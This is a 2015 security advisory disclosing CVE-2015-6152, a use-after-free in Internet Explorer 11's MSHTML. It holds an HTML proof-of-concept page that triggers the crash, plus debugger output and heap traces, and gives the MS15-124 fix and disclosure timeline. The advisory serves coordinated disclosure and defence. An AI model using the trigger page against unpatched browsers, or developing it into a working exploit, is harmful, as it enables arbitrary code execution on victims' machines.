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Blue Frost Security GmbH
https://www.bluefrostsecurity.de/ research(at)bluefrostsecurity.de
BFS-SA-2015-003 10-December-2015
________________________________________________________________________________
Vendor: Microsoft, http://www.microsoft.com
Affected Products: Internet Explorer
Affected Version: IE 11
Vulnerability: MSHTML!CObjectElement Use-After-Free Vulnerability
CVE ID: CVE-2015-6152
________________________________________________________________________________
I. Impact
This vulnerability allows the execution of arbitrary code on vulnerable
installations of Microsoft Internet Explorer. User interaction is required to
exploit this vulnerability in that the target must visit a malicious page or
open a malicious file.
________________________________________________________________________________
II. Vulnerability Details
Microsoft Internet Explorer 11 is prone to a use-after-free vulnerability in
the MSHTML!CTreeNode::ComputeFormatsHelper function. The analysis was performed
on Internet Explorer 11 running on Windows 7 SP1 (x64).
The following HTML page can be used to reproduce the issue:
-->
<!DOCTYPE HTML>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=8" />
<style>
small{ -ms-block-progression: lr; -ms-filter: "vv"; }
</style>
<script>
function trigger() { document.execCommand("JustifyLeft"); }
</script>
<nolayer>blue<small>frost</small>
<applet><tt>security</applet>
<script>trigger();</script>
</html>
<!--
With page heap enabled and the Memory Protect feature turned off, visiting
that page results in the following crash:
(2d4.830): Access violation - code c0000005 (!!! second chance !!!)
eax=09b09e90 ebx=125b4e60 ecx=00000000 edx=6e9fedf0 esi=0f552fa0 edi=0f552fa0
eip=6dfcc19b esp=097fb520 ebp=097fc1f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
MSHTML!CTreeNode::ComputeFormatsHelper+0x53:
6dfcc19b f7402400000300 test dword ptr [eax+24h],30000h ds:002b:09b09eb4=????????
0:007> !heap -p -a @eax
address 09b09e90 found in
_DPH_HEAP_ROOT @ 9b01000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
9b01f04: 9b09000 2000
748090b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77e61b1c ntdll!RtlDebugFreeHeap+0x0000002f
77e1ae8a ntdll!RtlpFreeHeap+0x0000005d
77dc2b65 ntdll!RtlFreeHeap+0x00000142
758814ad kernel32!HeapFree+0x00000014
6d92d219 MSHTML!MemoryProtection::CMemoryProtector::ProtectedFree+0x00000122
6dc46583 MSHTML!CObjectElement::`vector deleting destructor'+0x00000023
6dfce0db MSHTML!CElement::PrivateRelease+0x0000027e
6d98953d MSHTML!CObjectElement::DeferredFallback+0x0000033d
6d96e1b3 MSHTML!GlobalWndOnMethodCall+0x0000017b
6d95577e MSHTML!GlobalWndProc+0x0000012e
770762fa user32!InternalCallWinProc+0x00000023
77076d3a user32!UserCallWinProcCheckWow+0x00000109
770777c4 user32!DispatchMessageWorker+0x000003bc
7707788a user32!DispatchMessageW+0x0000000f
6ebfa7b8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464
6ec38de8 IEFRAME!LCIETab_ThreadProc+0x000003e7
76a9e81c iertutil!CMemBlockRegistrar::_LoadProcs+0x00000067
747b4b01 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094
7588336a kernel32!BaseThreadInitThunk+0x0000000e
77dc9882 ntdll!__RtlUserThreadStart+0x00000070
77dc9855 ntdll!_RtlUserThreadStart+0x0000001b
We can see that a freed CObjectElement object is accessed in the
MSHTML!CTreeNode::ComputeFormatsHelper function. If we take a look at the
memory just before the CObjectElement destructor is called, we can see where
the object was initially allocated.
0:007> bu MSHTML!CObjectElement::~CObjectElement
0:007> g
Breakpoint 0 hit
eax=6daf6b10 ebx=00000000 ecx=0980de90 edx=0f834bb0 esi=0980de90 edi=094bc324
eip=6dc4658f esp=094bc310 ebp=094bc318 iopl=0 nv up ei ng nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000287
MSHTML!CObjectElement::~CObjectElement:
0:007> !heap -p -a poi(@esp+4)
address 09b09e90 found in
_DPH_HEAP_ROOT @ 9b01000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
9b01f04: 9b09e90 170 - 9b09000 2000
MSHTML!CObjectElement::`vftable'
74808e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77e6134e ntdll!RtlDebugAllocateHeap+0x00000030
77e1b16e ntdll!RtlpAllocateHeap+0x000000c4
77dc2fe3 ntdll!RtlAllocateHeap+0x0000023a
6daf6a27 MSHTML!CObjectElement::CreateElement+0x00000017
6e0423a4 MSHTML!CHtmParse::ParseBeginTag+0x000000b8
6df17172 MSHTML!CHtmParse::ParseToken+0x00000096
6df16a0f MSHTML!CHtmPost::ProcessTokens+0x000004c7
6dd8341b MSHTML!CHtmPost::Exec+0x00000207
6da308a8 MSHTML!CHtmPost::Run+0x0000003d
6da3080e MSHTML!PostManExecute+0x00000061
6da2727c MSHTML!PostManResume+0x0000007b
6da971f0 MSHTML!CDwnChan::OnMethodCall+0x0000002f
6d96e1b3 MSHTML!GlobalWndOnMethodCall+0x0000017b
6d95577e MSHTML!GlobalWndProc+0x0000012e
770762fa user32!InternalCallWinProc+0x00000023
77076d3a user32!UserCallWinProcCheckWow+0x00000109
770777c4 user32!DispatchMessageWorker+0x000003bc
7707788a user32!DispatchMessageW+0x0000000f
6ebfa7b8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464
6ec38de8 IEFRAME!LCIETab_ThreadProc+0x000003e7
76a9e81c iertutil!CMemBlockRegistrar::_LoadProcs+0x00000067
747b4b01 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094
7588336a kernel32!BaseThreadInitThunk+0x0000000e
77dc9882 ntdll!__RtlUserThreadStart+0x00000070
77dc9855 ntdll!_RtlUserThreadStart+0x0000001b
________________________________________________________________________________
III. Mitigation
The issue was fixed in MS15-124 which should be installed to resolve the issue.
________________________________________________________________________________
IV. Disclosure Timeline
- 2015-08-04 Vulnerability reported to secure@microsoft.com
- 2015-09-24 Microsoft confirms that they successufully reproduced the issue
- 2015-12-08 Microsoft resolves issue in MS15-124
________________________________________________________________________________
Credit:
Bug found by Moritz Jodeit of Blue Frost Security GmbH.
________________________________________________________________________________
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